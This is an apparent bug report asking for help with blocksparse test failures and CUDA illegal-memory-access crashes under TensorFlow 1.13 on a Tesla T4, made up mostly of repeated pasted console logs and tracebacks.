/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:527: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_quint8 = np.dtype([("quint8", np.uint8, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:528: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint16 = np.dtype([("qint16", np.int16, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:529: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_quint16 = np.dtype([("quint16", np.uint16, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:530: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint32 = np.dtype([("qint32", np.int32, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:535: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  np_resource = np.dtype([("resource", np.ubyte, 1)])
WARNING:tensorflow:From /home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/op_def_library.py:263: colocate_with (from tensorflow.python.framework.ops) is deprecated and will be removed in a future version.
Instructions for updating:
Colocations handled automatically by placer.
2020-07-19 15:23:58.994318: I tensorflow/core/platform/cpu_feature_guard.cc:141] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 AVX512F FMA
2020-07-19 15:23:59.016917: I tensorflow/core/platform/profile_utils/cpu_utils.cc:94] CPU Frequency:<PHONE_NUMBER> Hz
2020-07-19 15:23:59.017474: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x56341a1f6330 executing computations on platform Host. Devices:
2020-07-19 15:23:59.017505: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): <undefined>, <undefined>
2020-07-19 15:23:59.122639: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:998] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2020-07-19 15:23:59.123458: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1433] Found device 0 with properties:
name: Tesla T4 major: 7 minor: 5 memoryClockRate(GHz): 1.59
pciBusID: 0000:00:1e.0
totalMemory: 14.75GiB freeMemory: 14.65GiB
2020-07-19 15:23:59.123478: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1512] Adding visible gpu devices: 0
2020-07-19 15:23:59.152687: I tensorflow/core/common_runtime/gpu/gpu_device.cc:984] Device interconnect StreamExecutor with strength 1 edge matrix:
2020-07-19 15:23:59.152724: I tensorflow/core/common_runtime/gpu/gpu_device.cc:990]      0
2020-07-19 15:23:59.152735: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1003] 0:   N
2020-07-19 15:23:59.152835: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1115] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 14241 MB memory) -> physical GPU (device: 0, name: Tesla T4, pci bus id: 0000:00:1e.0, compute capability: 7.5)
2020-07-19 15:23:59.154217: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x5634190aa650 executing computations on platform CUDA. Devices:
2020-07-19 15:23:59.154239: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): Tesla T4, Compute Capability 7.5
[array([[-0.00464108, -0.00446517, -0.00446705, ..., -0.00433037,
        -0.00435545, -0.00431154],
       [ 0.00696341,  0.00687434,  0.00675924, ...,  0.00679887,
         0.00693929,  0.00719775],
       [ 0.01524079,  0.01537668,  0.01533529, ...,  0.01533816,
         0.01512151,  0.01528387],
       ...,
       [-0.00238256, -0.00245797, -0.0022754 , ..., -0.00224203,
        -0.00239737, -0.00237827],
       [-0.00508011, -0.00536294, -0.00516913, ..., -0.00537378,
        -0.00533525, -0.00540836],
       [ 0.01230985,  0.01257054,  0.01233936, ...,  0.01226609,
         0.012429  ,  0.01214379]], dtype=float32)]

And here is the output when the error appears.
(tf13) ubuntu@xxx:~/blocksparse$ python examples/simple.py
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:526: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint8 = np.dtype([("qint8", np.int8, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:527: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_quint8 = np.dtype([("quint8", np.uint8, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:528: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint16 = np.dtype([("qint16", np.int16, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:529: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_quint16 = np.dtype([("quint16", np.uint16, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:530: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint32 = np.dtype([("qint32", np.int32, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:535: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  np_resource = np.dtype([("resource", np.ubyte, 1)])
WARNING:tensorflow:From /home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/op_def_library.py:263: colocate_with (from tensorflow.python.framework.ops) is deprecated and will be removed in a future version.
Instructions for updating:
Colocations handled automatically by placer.
2020-07-19 15:24:31.054902: I tensorflow/core/platform/cpu_feature_guard.cc:141] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 AVX512F FMA
2020-07-19 15:24:31.076918: I tensorflow/core/platform/profile_utils/cpu_utils.cc:94] CPU Frequency:<PHONE_NUMBER> Hz
2020-07-19 15:24:31.077469: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x56258d1e4480 executing computations on platform Host. Devices:
2020-07-19 15:24:31.077494: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): <undefined>, <undefined>
2020-07-19 15:24:31.176438: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:998] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2020-07-19 15:24:31.177252: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1433] Found device 0 with properties:
name: Tesla T4 major: 7 minor: 5 memoryClockRate(GHz): 1.59
pciBusID: 0000:00:1e.0
totalMemory: 14.75GiB freeMemory: 14.65GiB
2020-07-19 15:24:31.177274: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1512] Adding visible gpu devices: 0
2020-07-19 15:24:31.208119: I tensorflow/core/common_runtime/gpu/gpu_device.cc:984] Device interconnect StreamExecutor with strength 1 edge matrix:
2020-07-19 15:24:31.208164: I tensorflow/core/common_runtime/gpu/gpu_device.cc:990]      0
2020-07-19 15:24:31.208176: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1003] 0:   N
2020-07-19 15:24:31.208278: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1115] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 14241 MB memory) -> physical GPU (device: 0, name: Tesla T4, pci bus id: 0000:00:1e.0, compute capability: 7.5)
2020-07-19 15:24:31.209716: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x56258c098570 executing computations on platform CUDA. Devices:
2020-07-19 15:24:31.209739: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): Tesla T4, Compute Capability 7.5
2020-07-19 15:24:31.685492: E tensorflow/stream_executor/cuda/cuda_event.cc:48] Error polling for event status: failed to query event: CUDA_ERROR_ILLEGAL_ADDRESS: an illegal memory access was encountered
2020-07-19 15:24:31.685539: F tensorflow/core/common_runtime/gpu/gpu_event_mgr.cc:274] Unexpected Event status: 1
Aborted (core dumped)

I guess that those problems are due to my TensorFlow and CUDA version. Could anyone help me? Thanks a lot!

System information

OS Platform and Distribution: Linux Ubuntu 18.04
TensorFlow version: 1.13.1 (with GPU support)
Python version: 3.7.7
CUDA/cuDNN version: 10.0 / 7
GPU: Tesla T4

Encountered problem I tried both pip install blocksparse and building from source. After installation, I can run import blocksparse in Python and pass most tests. However, when I run test/blocksparse_conv_test.py, the following error occurred.
(tf13) ubuntu@xxx:~/blocksparse$ python test/blocksparse_conv_test.py
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:526: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint8 = np.dtype([("qint8", np.int8, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:527: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_quint8 = np.dtype([("quint8", np.uint8, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:528: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint16 = np.dtype([("qint16", np.int16, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:529: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_quint16 = np.dtype([("quint16", np.uint16, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:530: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint32 = np.dtype([("qint32", np.int32, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:535: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  np_resource = np.dtype([("resource", np.ubyte, 1)])
WARNING:tensorflow:From /home/ubuntu/anaconda3/lib/python3.7/contextlib.py:82: TensorFlowTestCase.test_session (from tensorflow.python.framework.test_util) is deprecated and will be removed in a future version.
Instructions for updating:
Use `self.session()` or `self.cached_session()` instead.
2020-07-19 15:22:55.214905: I tensorflow/core/platform/cpu_feature_guard.cc:141] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 AVX512F FMA
2020-07-19 15:22:55.236910: I tensorflow/core/platform/profile_utils/cpu_utils.cc:94] CPU Frequency:<PHONE_NUMBER> Hz
2020-07-19 15:22:55.237482: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x55b7bd771c50 executing computations on platform Host. Devices:
2020-07-19 15:22:55.237509: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): <undefined>, <undefined>
2020-07-19 15:22:55.362344: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:998] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2020-07-19 15:22:55.363172: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1433] Found device 0 with properties:
name: Tesla T4 major: 7 minor: 5 memoryClockRate(GHz): 1.59
pciBusID: 0000:00:1e.0
totalMemory: 14.75GiB freeMemory: 14.65GiB
2020-07-19 15:22:55.363193: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1512] Adding visible gpu devices: 0
2020-07-19 15:22:55.393925: I tensorflow/core/common_runtime/gpu/gpu_device.cc:984] Device interconnect StreamExecutor with strength 1 edge matrix:
2020-07-19 15:22:55.393972: I tensorflow/core/common_runtime/gpu/gpu_device.cc:990]      0
2020-07-19 15:22:55.393981: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1003] 0:   N
2020-07-19 15:22:55.394077: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1115] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 14241 MB memory) -> physical GPU (device: 0, name: Tesla T4, pci bus id: 0000:00:1e.0, compute capability: 7.5)
2020-07-19 15:22:55.395613: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x55b7bbfe59e0 executing computations on platform CUDA. Devices:
2020-07-19 15:22:55.395639: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): Tesla T4, Compute Capability 7.5

test1
2020-07-19 15:22:55.429514: W tensorflow/core/framework/op_kernel.cc:1401] OP_REQUIRES failed at blocksparse_conv_op.cc:320 : Internal: device kernel image is invalid
ERROR:tensorflow:device kernel image is invalid
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]

Caused by op 'test1/F4B4/BlocksparseConv', defined at:
  File "test/blocksparse_conv_test.py", line 213, in <module>
    tf.test.main()
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/test.py", line 64, in main
    return _googletest.main(argv)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/googletest.py", line 100, in main
    benchmark.benchmarks_main(true_main=main_wrapper)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/benchmark.py", line 371, in benchmarks_main
    true_main()
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/googletest.py", line 99, in main_wrapper
    return app.run(main=g_main, argv=args)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/app.py", line 125, in run
    _sys.exit(main(argv))
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/googletest.py", line 70, in g_main
    return unittest_main(argv=argv)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/main.py", line 101, in __init__
    self.runTests()
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/main.py", line 271, in runTests
    self.result = testRunner.run(self.test)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/runner.py", line 176, in run
    test(result)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 84, in __call__
    return self.run(*args, **kwds)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 122, in run
    test(result)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 84, in __call__
    return self.run(*args, **kwds)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 122, in run
    test(result)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/case.py", line 676, in __call__
    return self.run(*args, **kwds)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/case.py", line 628, in run
    testMethod()
  File "test/blocksparse_conv_test.py", line 126, in testBlocksparseConv
    op   = bs_conv_op(devF, devI)
  File "/home/ubuntu/blocksparse/blocksparse/conv.py", line 511, in __call__
    dimF=F.get_shape().as_list(), fshare=self.fshared, bshare=self.bshared, debug=self.debug
  File "<string>", line 471, in blocksparse_conv
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/op_def_library.py", line 788, in _apply_op_helper
    op_def=op_def)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/util/deprecation.py", line 507, in new_func
    return func(*args, **kwargs)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/ops.py", line 3300, in create_op
    op_def=op_def)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/ops.py", line 1801, in __init__
    self._traceback = tf_stack.extract_stack()

InternalError (see above for traceback): device kernel image is invalid
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]

Es
======================================================================
ERROR: testBlocksparseConv (__main__.BlocksparseConvTest)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 1334, in _do_call
    return fn(*args)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 1319, in _run_fn
    options, feed_dict, fetch_list, target_list, run_metadata)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 1407, in _call_tf_sessionrun
    run_metadata)
tensorflow.python.framework.errors_impl.InternalError: device kernel image is invalid
         [[{{node test1/F4B4/BlocksparseConv}}]]
         [[{{node test1/F4B4/BlocksparseConv}}]]

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "test/blocksparse_conv_test.py", line 127, in testBlocksparseConv
    devO = sess.run( op )
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/test_util.py", line 1368, in run
    return super(ErrorLoggingSession, self).run(*args, **kwargs)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 929, in run
    run_metadata_ptr)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 1152, in _run
    feed_dict_tensor, options, run_metadata)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 1328, in _do_run
    run_metadata)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/client/session.py", line 1348, in _do_call
    raise type(e)(node_def, op, message)
tensorflow.python.framework.errors_impl.InternalError: device kernel image is invalid
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]

Caused by op 'test1/F4B4/BlocksparseConv', defined at:
  File "test/blocksparse_conv_test.py", line 213, in <module>
    tf.test.main()
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/test.py", line 64, in main
    return _googletest.main(argv)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/googletest.py", line 100, in main
    benchmark.benchmarks_main(true_main=main_wrapper)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/benchmark.py", line 371, in benchmarks_main
    true_main()
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/googletest.py", line 99, in main_wrapper
    return app.run(main=g_main, argv=args)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/app.py", line 125, in run
    _sys.exit(main(argv))
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/platform/googletest.py", line 70, in g_main
    return unittest_main(argv=argv)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/main.py", line 101, in __init__
    self.runTests()
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/main.py", line 271, in runTests
    self.result = testRunner.run(self.test)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/runner.py", line 176, in run
    test(result)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 84, in __call__
    return self.run(*args, **kwds)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 122, in run
    test(result)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 84, in __call__
    return self.run(*args, **kwds)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/suite.py", line 122, in run
    test(result)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/case.py", line 676, in __call__
    return self.run(*args, **kwds)
  File "/home/ubuntu/anaconda3/lib/python3.7/unittest/case.py", line 628, in run
    testMethod()
  File "test/blocksparse_conv_test.py", line 126, in testBlocksparseConv
    op   = bs_conv_op(devF, devI)
  File "/home/ubuntu/blocksparse/blocksparse/conv.py", line 511, in __call__
    dimF=F.get_shape().as_list(), fshare=self.fshared, bshare=self.bshared, debug=self.debug
  File "<string>", line 471, in blocksparse_conv
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/op_def_library.py", line 788, in _apply_op_helper
    op_def=op_def)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/util/deprecation.py", line 507, in new_func
    return func(*args, **kwargs)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/ops.py", line 3300, in create_op
    op_def=op_def)
  File "/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/ops.py", line 1801, in __init__
    self._traceback = tf_stack.extract_stack()

InternalError (see above for traceback): device kernel image is invalid
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]
         [[node test1/F4B4/BlocksparseConv (defined at <string>:471) ]]

----------------------------------------------------------------------
Ran 2 tests in 0.231s

FAILED (errors=1, skipped=1)

Besides, invalid memory access sometimes happens when running examples/simples.py. Here is the output without error.
(tf13) ubuntu@xxx:~/blocksparse$ python examples/simple.py
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:526: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint8 = np.dtype([("qint8", np.int8, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:527: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_quint8 = np.dtype([("quint8", np.uint8, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:528: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint16 = np.dtype([("qint16", np.int16, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:529: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_quint16 = np.dtype([("quint16", np.uint16, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:530: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint32 = np.dtype([("qint32", np.int32, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:535: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  np_resource = np.dtype([("resource", np.ubyte, 1)])
WARNING:tensorflow:From /home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/op_def_library.py:263: colocate_with (from tensorflow.python.framework.ops) is deprecated and will be removed in a future version.
Instructions for updating:
Colocations handled automatically by placer.
2020-07-19 15:23:58.994318: I tensorflow/core/platform/cpu_feature_guard.cc:141] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 AVX512F FMA
2020-07-19 15:23:59.016917: I tensorflow/core/platform/profile_utils/cpu_utils.cc:94] CPU Frequency:<PHONE_NUMBER> Hz
2020-07-19 15:23:59.017474: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x56341a1f6330 executing computations on platform Host. Devices:
2020-07-19 15:23:59.017505: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): <undefined>, <undefined>
2020-07-19 15:23:59.122639: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:998] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2020-07-19 15:23:59.123458: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1433] Found device 0 with properties:
name: Tesla T4 major: 7 minor: 5 memoryClockRate(GHz): 1.59
pciBusID: 0000:00:1e.0
totalMemory: 14.75GiB freeMemory: 14.65GiB
2020-07-19 15:23:59.123478: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1512] Adding visible gpu devices: 0
2020-07-19 15:23:59.152687: I tensorflow/core/common_runtime/gpu/gpu_device.cc:984] Device interconnect StreamExecutor with strength 1 edge matrix:
2020-07-19 15:23:59.152724: I tensorflow/core/common_runtime/gpu/gpu_device.cc:990]      0
2020-07-19 15:23:59.152735: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1003] 0:   N
2020-07-19 15:23:59.152835: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1115] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 14241 MB memory) -> physical GPU (device: 0, name: Tesla T4, pci bus id: 0000:00:1e.0, compute capability: 7.5)
2020-07-19 15:23:59.154217: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x5634190aa650 executing computations on platform CUDA. Devices:
2020-07-19 15:23:59.154239: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): Tesla T4, Compute Capability 7.5
[array([[-0.00464108, -0.00446517, -0.00446705, ..., -0.00433037,
        -0.00435545, -0.00431154],
       [ 0.00696341,  0.00687434,  0.00675924, ...,  0.00679887,
         0.00693929,  0.00719775],
       [ 0.01524079,  0.01537668,  0.01533529, ...,  0.01533816,
         0.01512151,  0.01528387],
       ...,
       [-0.00238256, -0.00245797, -0.0022754 , ..., -0.00224203,
        -0.00239737, -0.00237827],
       [-0.00508011, -0.00536294, -0.00516913, ..., -0.00537378,
        -0.00533525, -0.00540836],
       [ 0.01230985,  0.01257054,  0.01233936, ...,  0.01226609,
         0.012429  ,  0.01214379]], dtype=float32)]

And here is the output when the error appears.
(tf13) ubuntu@xxx:~/blocksparse$ python examples/simple.py
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:526: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint8 = np.dtype([("qint8", np.int8, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:527: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_quint8 = np.dtype([("quint8", np.uint8, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:528: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint16 = np.dtype([("qint16", np.int16, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:529: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_quint16 = np.dtype([("quint16", np.uint16, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:530: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  _np_qint32 = np.dtype([("qint32", np.int32, 1)])
/home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/dtypes.py:535: FutureWarning: Passing (type, 1) or '1type' as a synonym of type is deprecated; in a future version of numpy, it will be understood as (type, (1,)) / '(1,)type'.
  np_resource = np.dtype([("resource", np.ubyte, 1)])
WARNING:tensorflow:From /home/ubuntu/anaconda3/lib/python3.7/site-packages/tensorflow/python/framework/op_def_library.py:263: colocate_with (from tensorflow.python.framework.ops) is deprecated and will be removed in a future version.
Instructions for updating:
Colocations handled automatically by placer.
2020-07-19 15:24:31.054902: I tensorflow/core/platform/cpu_feature_guard.cc:141] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 AVX512F FMA
2020-07-19 15:24:31.076918: I tensorflow/core/platform/profile_utils/cpu_utils.cc:94] CPU Frequency:<PHONE_NUMBER> Hz
2020-07-19 15:24:31.077469: I tensorflow/compiler/xla/service/service.cc:150] XLA service 0x56258d1e4480 executing computations on platform Host. Devices:
2020-07-19 15:24:31.077494: I tensorflow/compiler/xla/service/service.cc:158]   StreamExecutor device (0): <undefined>, <undefined>
2020-07-19 15:24:31.176438: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:998] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2020-07-19 15:24:31.177252: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1433] Found device 0 with properties:
name: Tesla T4 major: 7 minor: 5 memoryClockRate(GHz): 1.59
pciBusID: 0000:00:1e.0
totalMemory: 14.75GiB freeMemory: 14.65GiB
2020-07-19 15:24:31.177274: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1512] Adding visible gpu devices: 0
2020-07-19 15:24:31.208119: I tensorflow/core/common_runtime/gpu/gpu_device.cc:984] Device interconnect StreamExecutor with strength 1 edge matrix:
